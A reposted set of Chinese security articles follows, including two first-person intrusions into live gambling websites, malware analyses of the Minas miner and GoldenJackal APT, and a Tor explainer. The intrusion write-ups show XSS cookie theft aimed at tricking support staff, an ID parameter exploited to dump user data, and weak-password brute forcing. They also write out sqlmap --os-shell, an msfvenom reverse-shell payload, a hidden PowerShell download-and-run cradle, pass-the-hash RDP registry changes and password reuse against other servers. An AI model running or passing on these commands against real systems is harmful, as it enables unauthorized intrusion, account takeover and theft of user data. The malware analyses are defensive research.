        由于payload本身就在JS内部，所以刚开始并未构造script标签，而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload，目的是让alert(666)直接暴露在后台原有的script标签里，但反复尝试了好多个都不行，只能调整思路，重新构造script标签，这次成功，如下；说明这个xss没误报；

  2yyad531w3k12837.png

        另一个是cookie里面的，把sessionid改了，也能直接出现在页面的html源码；和上面第一个类似，都可以构造script执行自己的js代码；不过由于不知道后台源码，不能确定这里是否是存储型xss，也不能通过构造url诱骗别人点击，我个人觉得意义不大，这里不再验证；

  v2ble0hlq4c12842.png

由于目前还无法登陆后台，其他xss是否是存储型还不确定，现阶段暂不继续验证其他xss漏洞；

  vxshoswky2e12849.png

（2）登陆界面抓包，用户名和密码居然明文传输，WTF.......

 0hrsjdimstp12852.png

        放过后，又抓到新包，放入repeater尝试：里面有个字段captcha是验证码，删掉后服务器任然会执行，并且不会提示验证码错误，而是用户名或密码错误，省了不少事；先用正确的账号测试，发现返回的status是Y，一切正常；

   1jjhwgbuce112855.png

        然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试，返回都如下：

　w2a45ui4mtq12858.png

    右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”； 看来是有意做了过滤，只能输入字母和数字，并且不能输入任何特殊符号，这里大概率不存在sql注入；（有些站点前端页面也有说说明，并且实在后台服务器端检验，不是再前端用js检验，想用burp抓包后改字段也不行）

    5z4yz5a12gr12861.png

   （3）平行/垂直越权：有些站点登陆后，cookie里面会带上各种id，比如uid=123、groupid=456、telno=135000387465等等，很容易看出字段的含义，并且更改数值后看到其他用户甚至管理员的数据；但这里的cookie都是各种session，剩下各种数字的字段无法看出啥含义，用burp尝试不同的数值都返回status:N，这条路也走不通；

　（4）0元支付：在支付界面抓包，把request包的内容解码，发现里面又sign字段，会对其他字段做校验，改金额的话需要逆向校验算法，再重新计算sign值，这里暂时放弃；PS：这里终于暴露了user_id；

g5xjttk1rlw12863.png

3、通过xray扫描，发现一个resin-viewfile漏洞。

    np3vh4edxst12865.png

    根据扫描提示，改file=xxxx的内容，果然能查到部分文件，比如下面的配置文件；

    l0ngi4j4ny012867.png

    ps3q2pczopa12869.png

 　2ftklt51ae212871.png

 　这个漏洞类似SSRF，可以遍历内网文件；遂在github找漏洞利用的工具，同时用burp跑字典挨个穷举目录和文件，但只发现了如下文件，都是常规的文件和路径，没找到预期的各种配置（比如账号）文件；

    nqn3wrig45p12873.png

 　想遍历C盘，貌似有防护；

     k0mydxmterk12874.png

       这个漏洞暂时放弃；

4、截至目前，已发现能利用的只有XSS，而且还是反射型的，只能先找个xss平台生成一个偷cookie的script标签，嵌入到有xss漏洞的url，然后找到客服MM，诱骗其点击；结果客服MM不但没上当，还发我新链接，让我重新试试新的站点，WTF.........

 　 好吧，重试就重试，于是继续搞新站点；用账号登陆新站点后，主要找和用户有交互的页面（这里涉及大量传参，可以改动的空间很大，出现漏洞的几率比静态网页大很多）；花了大量时间，查看了无数链接后，貌似出现了转机，如下：

       mlutsxwcwek12875.png

　　这里返回了一个json串，里面有账号名、电话、昵称、权限等各种敏感数据，url里面还有client关键词，难道这是查看用户信息的接口？马上用burp抓包，更改url中纯数字的参数（纯数字意味着索引，而且容易穷举），果然不出所料，炸出部分注册用户的信息：

　　wsd3go1n3va12876.png

   5、另外，通过xray还发现了CORS漏洞（数以CSRF的一种），也要想办法诱骗客户、管理员或平台其他的用户点击，这里暂时不深入；

   ldvv2kqou5l12877.png

        这个菠菜站点总结：1、用户在form的输入做了严格限制，sql注入和xss都屏蔽   2、resin漏洞不痛不痒，拿不到敏感数据  3、支付：有sign字段校验，需要先破解校验算法  4、最终有个页面传参未做校验，通过更改数字类参数的值爆破出了部分用户信息； 5、可能是因为业务原因，前端页面暂时没有找到任何上传文件的地方，目前还找不到上传小马的方法；

参考：1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/  针对Resin服务的攻击向量整理




转载于原文链接地址： https://www.cnblogs.com/theseventhson/p/13738535.html


HireHackking

sl-abstract-data-tech-complex-orange-blue-1200-1200x600.jpg

2022年6月，卡巴斯基實驗室的研究人員在一個系統進程的內存中發現了一個可疑的shellcode。為此，他們深入分析了shellcode是如何放置到進程中的，以及受感染系統上的威脅隱藏在何處？

感染鏈雖然研究人員無法複製整個感染進程，但他們能夠從PowerShell執行的位置重建它，如下圖所示。

1.png

攻擊流程

簡而言之，感染鏈如下：

马云惹不起马云PowerShell腳本通過任務計劃程序運行，並從遠程服務器下載lgntoerr.gif文件；

马云惹不起马云該腳本解密lgntoerr.gif，生成一個.NET DLL，然後加載該DLL；

马云惹不起马云.NET DLL從其資源中提取並解密三個文件：兩個DLL和一個加密的有效負載。提取的文件被放置在ProgramData目錄中。

马云惹不起马云.NET DLL創建一個任務，在系統啟動時通過任務調度程序自動運行合法的ilasm.exe組件；

马云惹不起马云任務調度程序從ProgramData目錄啟動ilasm.exe；

马云惹不起马云ilasm.exe從同一目錄啟動fusion.dll，這是一個惡意的DLL劫持程序；

马云惹不起马云fusion.dll加載第二個解密的DLL；

马云惹不起马云該DLL創建一個掛起的dllhost.exe進程；

马云惹不起马云然後，它對加密的二進製文件中的有效負載進行解密；

马云惹不起马云解密後的有效負載作為DLL加載到dllhost.exe進程中；

马云惹不起马云dllhost.exe進程的PID保存在ProgramData目錄中的一個文件中；

马云惹不起马云dllhost.exe進程將控制權傳遞給解密的有效負載；

马云惹不起马云 有效負載DLL提取並在內存中啟動挖礦DLL；

他們把這個惡意軟件命名為Minas。根據研究人員對感染鏈的重建，他們確定它是通過將編碼的PowerShell腳本作為任務運行而產生的，他們不太確信該腳本是通過GPO創建的：

2.png

編碼的PowerShell命令

技術細節PowerShell腳本的核心功能是啟動惡意軟件安裝進程。為此，PowerShell腳本從遠程服務器下載加密有效負載，使用自定義異或加密算法(密鑰為“fuckkasd9akey”)對其解密，並將負載加載到內存中：

3.png

已解碼的PowerShell命令

負載是由PowerShell進程啟動的.NET二進製文件（DLL），它傳遞三個參數：

$a.GetType(“I.C”).GetMethod(“I”).Invoke($null, ([Byte[]]($d),”A5D9FD13″,0));

1.$d:NET DLL作為字節數組；

2.A5D9FD13:（用於對.NET DLL中的資源進行解密的密鑰）；

3.0:（用於阻止創建多個主有效負載進程的參數）；

此.NET二進製文件（他們將其稱為“安裝程序”）負責.NET DLL資源中包含的惡意軟件組件的後續安裝。

使用哈希函數(Ap, SDBM, RS)，安裝程序創建一個目錄結構：

4.png

示例文件和目錄

接下來，它檢查系統上是否存在合法的ilasm.exe文件(版本4.0.30319位於%windir%\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe或版本2.0.50727位於%windir%\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)。注意，如果系統上存在ilasm.exe，它應該在這些目錄之一中)。如果沒有找到該文件，安裝進程將被終止。只要找到ilasm.exe，就會創建一個計劃任務作為持久機制:

5.png

在此之後，文件被複製到前面提到的創建的目錄中

然後，惡意軟件繼續將安裝程序的前100個字節附加到從“_64_bin”. net DLL資源中提取的文件{RSHash(MachineName)}中，並且生成的文件被加密(密鑰是小寫的計算機名稱)。另外，在“fusion.dll”和“{SDBMHash(MachineName)}.dll”文件中添加了多達10240個隨機字節，導致反惡意軟件產品的哈希檢測無效。

之後，安裝程序為運行的ilasm.exe啟動先前創建的任務，該任務反過來加載位於同一目錄下的惡意fusion.dll庫，假設它正在使用合法的fusion.dll (DLL劫持技術)。

惡意軟件的執行進程包括兩個加載程序：DLL劫持程序fusion.dll和下一階段的加載程序{SDBMHash(MachineName)}. DLL。

DLL劫持程序做三件事：

1.隱藏ilasm.exe進程的控制台。

2.確定進程名是否為ilasm.exe。如果不是，則終止進程。

3.基於SDBM哈希函數，它構建路徑C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}. DLL並嘗試通過LoadLibraryA API函數將該DLL加載到內存中。

加載的{SDBMHash(MachineName)}.dll DLL再次檢查進程名是否為ilasm.exe。

然後生成文件路徑C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}並檢查它是否存在。如果文件存在，則從中讀取值(十進制數)。這個十進制數字是dllhost.exe進程的PID乘以先前運行Minas時創建的0x144。加載程序然後嘗試用該PID終止進程。

然後，它讀取並解密(記住，密鑰是小寫的計算機名稱)位於C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)}的主有效負載(挖礦)。此外，加載器創建一個進程環境變量(SetEnvironmentVariable)配置，其值為{“addr”:”185.243.112.239:443″,”p”:”143e256609bcb0be5b9f9c8f79bdf8c9″} 。

6.png

通過進程傳遞參數

之後，{SDBMHash(MachineName)}.dll創建一個掛起的dllhost.exe進程，創建一個節，將其映射到dllhost.exe進程並寫入先前讀取和解密的文件(帶有挖礦組件的原始加載器)。然後它讀取dllhost.exe進程的內存，確定主線程的入口點並將其重寫為：

7.png

然後將創建的dllhost.exe進程的PID乘以0x14f寫入C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}，之後dllhost.exe進程繼續運行。然後終止ilasm.exe進程。

最後，DLL .exe將控制流傳遞給解密的原始加載器，該加載器在進程內存中映射XMRig挖礦程序(XMRig挖礦程序的DLL文件形式的彙編)，然後使用反射加載啟動它。

挖礦程序使用(GetEnvironmentVariable)獲取進程環境變量配置的值。這些值用於通過以下配置挖掘加密貨幣:

8.png

8.2.png

總結Minas是一個使用標準實現並旨在隱藏其存在的挖礦程序。由於加密、隨機生成名稱以及使用劫持和注入技術，檢測難度得以實現。它還能夠使用持久性技術駐留在受感染的系統上。

雖然研究人員目前還無法完全確定初始PowerShell命令是如何執行的，但很可能是通過GPO執行。

HireHackking

0x00 前言

闲着无聊，网上随便找了一个菠菜进行简单测试，并做笔记记录，大佬们轻喷，有什么不足之处请指教。

0x01 弱口令

访问网站就是一个登录页面，没有验证码直接bp开启，成功爆出弱口令admin/123456，直接进入后台。

图片


0x02  注入拿下权限

翻看了很多功能点，在一处功能点发现上传接口，并尝试上传文件，发现无法上传，加了白名单。直接选择放弃，继续寻找。在某一个http://url/GroupMember.aspx?gid= 参数上加上单引号，直接报错，SQL注入这不就来了么。

图片

说干就干，直接SQLMAP。

图片

发现为MSSQL，且DBA权限，直接--os-shell

图片

上线MSF
已经获取普通权限，接下来就是上线msf提权。msf生成powershell脚本，并放置在网站目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1

图片

Vps开启监听

图片

使用powershell上线session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"

图片

如果想要通过url拼接堆叠执行powershell会存在一个问题，就是单引号闭合问题。我们可以通过对powershell进行编码一下，这样就可以绕过单引号的问题。下面推荐一个不错的网站。
https://r0yanx.com/tools/java_exec_encode/提权
session已经上线，接下来目标就是获取system权限。很幸运直接getsystem可以获取system权限。如果需要提权推荐土豆家族提权，实战中成功率很高，影响的服务器版本也很多。

图片

迁移一下进程，防止进程掉线。

图片

远程登录服务器
发现服务器开启3389端口，因为是system权限，且为2012系统，大于2008版本都是无法抓到明文密码，直接修改adminnistrator密码。（实战中不推荐直接修改管理员密码）

图片

图片

利用hash远程登录管理员账号
因为是win2012无法获取明文密码，直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。（并非同一台，这只是提供一个思路）

图片

使用hash远程登录RDP，需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启

图片

成功利用hash远程管理员桌面

图片

图片

04

0x03 其他

前期发现1433端口开放着，寻找数据库配置文件，登录数据库。

图片

通过fofa找了一下，资产还是挺多的，且很多都开放1433端口，猜测会存在同一个人部署的网站，尝试用获取的密码对这些资产的1433端口进行爆破，成功撞到几台数据库，且都是sa权限。结束。

图片



转载于原文链接： https://mp.weixin.qq.com/s/kj55hbZMC9jF6xmbzXWu4whttps://xz.aliyun.com/t/12501


HireHackking

GoldenJackal是一家APT組織，自2019年開始活躍，通常針對中東和南亞的政府和外交機構。儘管他們早在幾年前就開始了活動，但該組織似乎沒有被詳細介紹過。

卡巴斯基實驗室的研究人員早在2020年中開始監測該組織，觀察到這是一個極其專業的組織。該組織的主要開發.NET惡意軟件、JackalControl、JackalWorm、JackalSteal、JackalPerInfo和JackalScreenWatcher等特定工具集，目的是：

马云惹不起马云控制受害者計算機；

马云惹不起马云在使用可移動驅動器的系統中傳播；

马云惹不起马云從受感染的系統中竊取某些文件；

马云惹不起马云竊取憑據；

马云惹不起马云收集有關本地系統的信息；

马云惹不起马云收集有關用戶網絡活動的信息；

马云惹不起马云 截取桌面的屏幕截圖；

根據工具集和攻擊者的行為，研究人員認為GoldenJackal APT組織的主要動機是間諜活動。

攻擊途徑研究人員發現攻擊者假冒Skype安裝程序，使用惡意Word文檔。

另一個已知的攻擊途徑是一個惡意文檔，它使用遠程模板注入技術下載惡意HTML頁面，該頁面利用了Follina漏洞。

1.png

這份文件被命名為“Gallery of Officers Who Have Received National And Foreign Awards.docx”的文件似乎是合法的，旨在收集巴基斯坦政府授予勳章的官員的信息。值得注意的是，Follina漏洞是在2022年5月29日首次被公佈，該文檔似乎在發布兩天后的6月1日進行了修改，並於6月2日首次被檢測到。

該文檔被配置為從合法且已被攻擊的網站加載外部對象：

hxxps://www.pak-developers[.]net/internal_data/templates/template.html！

2.png

用於加載遠程資源的代碼段

遠程網頁是公共“概念證明”的修改版本，用於利用Follina漏洞。原始PoC可在GitHub上獲得。攻擊者將IT_BrowseForFile變量值替換為以下值：

3.png

利用Follina漏洞的代碼段

解碼後的字符串為：

4.png

解碼腳本該漏洞會下載並執行託管在合法受攻擊網站上的可執行文件，並將其存儲在以下路徑中：“%Temp%\GoogleUpdateSetup.exe”。下載的文件是JackalControl惡意軟件。

在其他情況下，研究人員沒有發現真正的攻擊途徑，他們還觀察到在橫向活動進程中系統受到攻擊。具體來說，研究人員觀察到攻擊者使用psexec實用程序啟動惡意批處理腳本。

5.png

批處理腳本執行各種操作，例如安裝Microsoft .Net Framework 4、用JackalControl木馬感染系統並收集有關係統的信息。

6.png

JackalControl這是一種木馬，允許攻擊者通過一組預定義和支持的命令遠程控制目標計算機。信息是通過HTTPS通信信道在惡意軟件和C2服務器之間進行接收的，並且可以指示植入進行以下任何操作：

马云惹不起马云使用提供的參數執行任意程序；

马云惹不起马云下載任意文件到本地文件系統；

马云惹不起马云從本地文件系統上傳任意文件；

在過去幾年中，攻擊者多次更新該工具，已出現了多種變體。接下來，我們將描述2023年1月觀察到的最新版本（8C1070F188AE87FBA1148A3D791F2523）。

該木馬是一個可執行文件，可以作為標準程序或Windows服務啟動。

它需要一個參數，該參數可以等於以下一個值：

马云惹不起马云/0：作為標準程序運行，只與C2服務器聯繫一次；

马云惹不起马云/1：作為標準程序運行，並定期聯繫C2服務器；

马云惹不起马云/2：作為Windows服務運行；

惡意軟件參數和相關的惡意軟件行為根據變體而變化。一些變體只提供兩個參數：

马云惹不起马云/0作為標準程序運行；

马云惹不起马云/1作為Windows服務運行；

其他變體可以自我安裝不同的持久性機制。惡意軟件的執行流程由運行該惡意軟件的命令行中提供的參數決定。

马云惹不起马云/h0：將通過創建Windows計劃任務使惡意軟件獲得持久性；

马云惹不起马云/h1：將通過創建相應的註冊表運行項使惡意軟件獲得持久性；

马云惹不起马云/h2：將通過創建Windows服務使惡意軟件獲得持久性；

马云惹不起马云/r0：作為標准進程運行（此參數由Windows計劃任務指定）；

马云惹不起马云/r1：作為標准進程運行（此參數由生成的註冊表運行項值指定）。

马云惹不起马云/r2：作為服務運行（此參數由創建的Windows服務指定）。

攻擊者已經將不同的變體進行了傳播：有些包括用於維護持久性的代碼，另一些則被配置為在不感染系統的情況下運行；並且感染進程通常由諸如上述批處理腳本之類的其他組件執行。

惡意軟件通過生成BOT_ID開始其活動，這是用於識別受攻擊系統的唯一值。此值源自其他幾個基於主機的值：

從以下WMI查詢中獲得的UUID值：

7.png

從以下註冊表項獲取的計算機GUID:

8.png

從另一個WMI查詢中獲得的額外驅動器的列表，這反過來允許他們確定' PHYSICALDRIVE0 '的' SerialNumber '：

9.png

收集到的信息被連接在一個字節數組中，然後用MD5哈希，MD5被用作創建BOT_ID的種子。用於生成後者的算法只是對結果MD5哈希中每兩個連續字節求和，並將所得字節（模數256）作為最終BOT_ID的單個字節。下面的代碼片段描述了這種邏輯，它取自惡意軟件。

10.png

用於生成BOT_ID的代碼段

生成的BOT_ID還用於初始化DES密鑰和IV，然後用於加密與C2的通信。

惡意軟件使用HTTPPOST請求進行通信，其中數據參數將以編碼形式作為請求主體的一部分進行傳播。然後，整個請求結構將顯示如下：

11.png

一個有效的響應應該以以下方式形成：

12.png

響應使用base64進行解碼：生成的有效負載是一個字符串數組，其中使用的分隔符是標準的Windows新行序列-“\r\n”。每一行都用base64再次解碼，用DES解密，並用GZIP算法解壓縮。

每個命令都具有以下結構：

13.png

命令結構

00：執行——使用指定的參數執行任意程序。如果攻擊者將NoWait標誌設置為False，則惡意軟件會重定向進程輸出，讀取數據並將其轉發給C2；

01：下載——從本地系統讀取文件並將其上傳到服務器；

02：上傳——使用攻擊者指定的文件路徑將接收到的數據保存到本地系統。

命令數據字段旨在攜帶有關命令參數的信息，並且對於每種操作類型具有不同的結構，如下所述：

14.png

命令結果通常被組成一條消息，該消息還包括底層命令類型和命令ID的值，該值唯一地標識向惡意軟件發出的命令的示例。這三個值用GZIP壓縮，用DES加密，並用base64編碼。

生成的有效負載使用“|”字符與BOT_ID連接，再次使用base64編碼，然後使用上述POST請求格式將其上傳到遠程服務器。

安裝程序模式一些變體可以感染系統，在特定位置創建惡意軟件的副本，並保證其持久性。

惡意軟件位置是通過特定進程選擇的，它枚舉CommonApplicationData中的所有子目錄，並隨機選擇一個子目錄保存其副本。生成的文件名將以子目錄的名稱作為後綴，並附加另一個靜態值Launcher.exe，如下所示：

15.png

如果操作成功，它還會更改新的文件時間戳，並使其與所選子目錄的時間戳相同。

如果操作失敗，它會隨機選擇另一個目錄，並再次嘗試複製惡意軟件。

如果對所有子目錄的操作都失敗，它將嘗試使用硬編碼目錄名列表：

马云惹不起马云Google

马云惹不起马云Viber

马云惹不起马云AdGuard

马云惹不起马云WinZip

马云惹不起马云WinRAR

马云惹不起马云Adobe

马云惹不起马云CyberLink

马云惹不起马云Intel

如果所有嘗試都失敗了，它將嘗試在以下位置使用相同的進程：

马云惹不起马云ApplicationData

马云惹不起马云LocalApplicationData

马云惹不起马云Temp

持久性能力惡意軟件的持久性通常通過以下機制來保證：

马云惹不起马云服務安裝；

马云惹不起马云創建新的Windows註冊表項值；

马云惹不起马云創建新的計劃任務；

該服務通常由惡意軟件在執行Windows sc.exe實用程序時安裝。

16.png

註冊表值等於復制的惡意軟件文件名，不帶擴展名，並存儲在以下各項中：

17.png

計劃任務是使用硬編碼的XML模板創建的，該模板在運行時被修改，並使用相同的惡意軟件文件路徑在文件系統釋放，但擴展名不同，為.XML而不是.exe。

然後將生成的XML文件與Windows schtasks.exe實用程序一起使用來創建任務。

例如：

18.png

任務和服務描述會根據變體而變化。

JackalStealJackalSteal是另一種植入程序，通常部署在一些受感染的計算機上，用於在目標系統中查找感興趣的文件，並將其竊取至C2服務器。

此工具可用於監控目標系統中的可移動USB驅動器、遠程共享和所有邏輯驅動器。惡意軟件可以作為標準流程或服務來工作。它無法維護持久性，因此必須由另一個組件安裝。

JackalSteal通過解析參數開始執行。

19.png

選項說明

马云惹不起马云-n：配置文件的唯一標識符值；

马云惹不起马云-p：要檢查的目錄路徑；

马云惹不起马云-s：請求文件的最大大小；

马云惹不起马云-d：自上次寫入請求文件以來的天數；

马云惹不起马云-m：使用正則表達式在配置的目錄中查找以逗號分隔的字符串掩碼列表；

马云惹不起马云-w：配置Profile的連續目錄掃描之間的時間間隔（以秒為單位）；

马云惹不起马云-e：從掃描活動中排除路徑；

马云惹不起马云/0：作為標准進程運行；

马云惹不起马云/1：作為服務運行；

這些選項允許攻擊者指定“概要文件”，該文件定義了攻擊者感興趣的文件。該配置文件由一個ID和一個模式列表組成。每個模式都包含一個具有以下屬性的選項列表：

马云惹不起马云Path：目標路徑；

马云惹不起马云Credentials：用於訪問遠程共享的憑據用戶和密碼；

马云惹不起马云Masks：包含通配符和掩碼字符的掩碼字符串，可用於使用正則表達式匹配任何一組文件；

马云惹不起马云MaxSize：文件的最大大小；

马云惹不起马云Days：自上次寫入文件以來的天數；

马云惹不起马云Interval：兩次連續路徑掃描之間的時間間隔

马云惹不起马云Exclude：掃描活動期間必須排除的路徑；

用於配置JackalSteal組件的命令如下：

20.png

唯一標識符“-n”通常與JackalControl木馬程序生成的BOT_ID相同。

在參數處理之後，惡意軟件將數據序列化為XML，使用由帶有“-n”選項傳遞的ID生成的密鑰用DES加密它們，並將生成的有效負載存儲在以下位置：“%ApplicationData%\SNMP\cache\%Filename]”，其中%Filename%是由攻擊者指定的唯一標識符的MD5生成的GUID。

惡意軟件通常使用“/0”或“/1”選項和“-n”選項執行，該選項用於加載獲得的配置文件ID。在第二種情況下，它從前面提到的位置加載配置文件，並啟動‘Watchers’。

Watcher是在具有相同名稱的類中定義的對象，該對像在不同的線程中運行，並根據指定的選項掃描位置。該模式可以表示：

马云惹不起马云本地文件系統中的簡單路徑；

马云惹不起马云遠程共享上的路徑；

马云惹不起马云常量字符串all；

马云惹不起马云常量字符串usb。

當模式等於“all”時，惡意軟件會枚舉所有邏輯驅動器，並為每個驅動器創建一個新的Watcher對象。當模式為“usb”時，它會偵聽與在系統上創建新的可移動驅動器的操作相對應的系統事件。當檢測到新的驅動器時，它會創建一個新的Watcher對象。

每次添加新的Watcher時，惡意軟件都會通知日誌該事件，並使用HTTP Post請求將信息發送到遠程C2。

該日誌是使用以下字符串作為模板創建的：

21.png

並上傳到包含以下信息的加密有效負載中：

22.png

為每個請求生成AES_Key和AES_IV，嵌入在代碼中的密鑰使用RSA算法進行加密。生成的有效負載也使用GZIP算法進行壓縮。

“Agent_id\\Log_path.log”和“Log”內容數據採用AES算法加密，並使用GZIP壓縮。

Watcher對象負責掃描活動，當Watcher啟動時，它會枚舉目錄及其子目錄中的所有文件。掃描儀還可以解析.lnk鏈接。當掃描程序檢測到與定義的屬性（掩碼、天數、最大大小）匹配的文件時，它會計算文件內容哈希，檢查結果值是否存在於存儲在本地緩存目錄中的哈希表中，如果不存在，則添加該值。當檢測到新文件時，惡意軟件會使用上述相同的邏輯將該文件和相關的文件路徑上傳到加密有效負載中。

在這種情況下，加密的有效負載包含以下信息：

23.png

“Agent_id\\Local_file_path”和“File”內容數據採用AES算法加密，並使用GZIP壓縮。

JackalWorm

這種蠕蟲是為了傳播和感染使用可移動USB驅動器的系統而開發的。該程序被設計為一種靈活的工具，可以用來感染任何惡意軟件的系統。

它的行為會隨著父進程而變化。

马云惹不起马云當惡意軟件在被感染的系統上工作，並且父進程是taskeng.exe或services.exe時：

马云惹不起马云監控可移動USB驅動器；

马云惹不起马云連接設備後，將隱藏最後修改的目錄，並將其替換為蠕蟲的副本；

用於監控可移動USB驅動器的代碼與JackalSteal中觀察到的代碼相同。它創建了一個ManagementEventWatcher對象，允許它訂閱與給定WQL查詢相對應的事件通知，並在攔截時發出回調。惡意軟件使用的查詢指示系統每五秒鐘檢查一次邏輯可移動磁盤創建事件：

24.png

當惡意軟件檢測到一個可移動的USB存儲設備時，它會自我複製到該設備。它將復製到的路徑是通過列出所有目錄並選擇最後修改的目錄來確定的。它將使用相同的目錄名在驅動器根目錄上創建自己的副本，並將目錄的屬性更改為“hid

HireHackking

下圖可以幫我們了解Tor匿名過程。

首先，我們假設使用者已經構建了一個Tor路徑，這意味著計算機已經選擇了三個Tor節點（運行Tor軟件的服務器）來中繼消息並獲得了每個節點的共享密鑰。

2.png

計算機首先對私有數據進行三層加密（上圖中的步驟1），這也是洋蔥名稱的由來。之後，使用者的計算機以相反的順序加密數據：首先使用最後一個退出節點的密鑰(Kn3)，然後使用中間中繼節點的密鑰(Kn2)，最後使用保護節點的密鑰(Kn1)。保護節點接收到數據後，使用Kn1 去除最外層的加密，並將解密的消息發送到中繼節點。中間節點使用Kn2 刪除下一層，並將其中繼到退出節點。最後，退出節點使用Kn3 解密消息並將原始數據發送到Web 服務器（在本例中是peel-the-orange[.]com）。分層加密實現了保密性，並限制了參與通信的人員，因為只有知道密鑰的節點才能解密消息。

3.png

上圖匯總了哪些節點知道哪些其他節點。守衛節點（guard node）知道使用者是誰以及下一個接收使用者消息的節點，即中間中繼節點。但是，守衛節點不知道最後的退出節點和使用者的最終目標地，因為只用Kn1解密，此時入口節點的消息仍然是亂碼。中繼節點知道的最少。它不知道誰是原始發送者或最終目標地，只知道入口和退出節點。退出節點知道中間中繼節點和目標服務器，而目標服務器只知道退出節點。

返回使用者的消息以類似的方式傳回，每個節點使用與使用者共享的密鑰添加一層加密。

4.png

上圖是全球Tor網絡中，使用者和監控者的示意圖。 Emilia代表使用者，Lemonheads代表監控者。當使用者使用Tor時，監控者只能觀察到使用者與入口節點的連接。即使他們對所傳遞的消息有完全的全局可見性，他們也很難跟踪使用者的消息，因為它們混入了所有Tor用戶的流量，而且每次消息傳遞到另一個節點時，加密層都會發生變化。如前所述，如果使用者使用單一的VPN 提供商，它將知道使用者訪問的網站。此外，監控者可以觀察來自VPN 服務器的傳入和傳出消息，並可能確定使用者正在訪問哪些網站。

一個奇怪的問題是：使用者如何在不暴露身份的情況下與Tor節點共享密鑰？要解決這個問題需要分兩步。

首先，兩個節點如何在任何人都可以讀取所有通信的公共網絡上合作創建一個只有他們知道的密鑰？答案是Diffie-Hellman key Exchange (DHE) 協議。首先，雙方需要各自生成他們自己的私有秘密，並將其組合成只有他們兩個人可以計算的共享秘密(Kn1。在實際應用中，基於橢圓密碼學的認證ECDHE來解決vanilla DHE 的問題。

此時，使用者可以訪問每個Tor節點，並分別與它們建立一個密鑰，但這會讓每個節點都知道使用者的身份。問題的第二部分是使用DHE建立密鑰。使用者的計算機並沒有直接與所有三個節點通信，而是在與入口節點建立密鑰後，用Kn1 對所有消息進行加密，並通過入口節點將消息發送到中繼節點。這意味著中繼節點只知道入口節點而不知道使用者。同樣，使用者的計算機用Kn2 和Kn1 加密DHE 消息，並將它們通過守衛節點和中繼節點發送到退出節點。

不幸的是，在使用者了解Tor並開始使用它之後，監控者開始審查與公開宣傳的Tor節點IP 的連接。為了安全，開發者開始運行秘密的Tor網橋（私下替換公開宣傳的入口節點），並一次只向少數用戶提供小批量的服務。

對使用者來說，更糟糕的是，研究人員發現他們可以通過掃描整個IPv4空間來發現Tor網橋。

總之，對於使用者來說，這是一場持續的貓捉老鼠遊戲。

Tor 的惡意和良性示例使用Tor的用戶可以可能是壞人也可能是好人。不管怎樣，人們可能會使用Tor訪問受地理限制的內容或規避政府的審查或機構的內容封鎖。例如，如果Tor流量沒有被阻止，高級URL過濾的客戶無法阻止使用Tor的員工規避基於分類的過濾。

Tor 還以其洋蔥服務而聞名。例如，Tor 有助於隱藏多個舉報人網站，用戶可以在這些網站上舉報其組織中的非法和不道德活動，而不必擔心遭到報復。洋蔥服務通過允許用戶僅使用Tor進行連接來保護其IP 地址的秘密。這個想法是，用戶和洋蔥服務都通過Tor連接，它們在中間的一個集合點（一個Tor節點）相遇。雖然這些洋蔥服務的目的不一定是為了使非法活動成為可能，但過去的研究發現，Tor用戶建立了很大一部分或大部分用於非法目的的隱藏服務。然而，只有6.7% 的Tor用戶連接到隱藏服務。與洋蔥服務相比，絕大多數用戶訪問不太可能是非法的那些網站。例如，超過100 萬人使用Tor查看Facebook 的隱藏服務，該服務允許來自政府審查的地區的訪問。

攻擊者也可以利用Tor進行他們的活動。攻擊通常從偵察開始，攻擊者探索目標的基礎設施並蒐索潛在漏洞，例如，通過掃描開放的端口和運行的服務。通過使用Tor，攻擊者可以隱藏他們的位置，並將他們的活動分佈到多個退出節點。

同樣，攻擊者可以使用Tor進行攻擊的後續步驟，例如利用偵察期間發現的漏洞、更新目標設備上的惡意代碼、命令和控制通信以及數據洩露。 Tor的其他惡意用途包括DoS 攻擊、虛假帳戶創建、垃圾郵件和網絡釣魚。

攻擊者以各種方式利用Tor進行勒索軟件攻擊。在Ryuk 和Egregor 勒索軟件的示例中，名為SystemBC 的初始遠程訪問木馬(RAT)使用Tor隱藏服務作為命令和控制通信的後門。在構建木馬攻擊時，使用Tor隱藏服務進行命令和控制非常有用，因為這使得命令和控制難以取消並保持其可訪問性，除非使用各種安全產品阻止與Tor的連接。 Gold Waterfall 攻擊組織在安裝DarkSide 勒索軟件時也使用Tor進行後門通信。 Tor隱藏的基於服務的洩漏網站也被用來託管與DarkSide 和Ranzy locker相關的被盜數據。此外，DoppelPaymer還利用Tor支付網站收取贖金。 Unit 42 最近發表了關於Cuba勒索軟件和BlueSky Ransomware勒索軟件的研究，前者使用基於Tor隱藏服務的洩漏網站，後者發送勒索通知，指示目標下載Tor瀏覽器，作為獲取文件訪問權的一部分。

Tor 的使用並不特定於針對服務器和個人計算機的惡意軟件。一種Android惡意軟件還使用Tor隱藏服務作為命令和控制服務器，使攻擊變得困難。

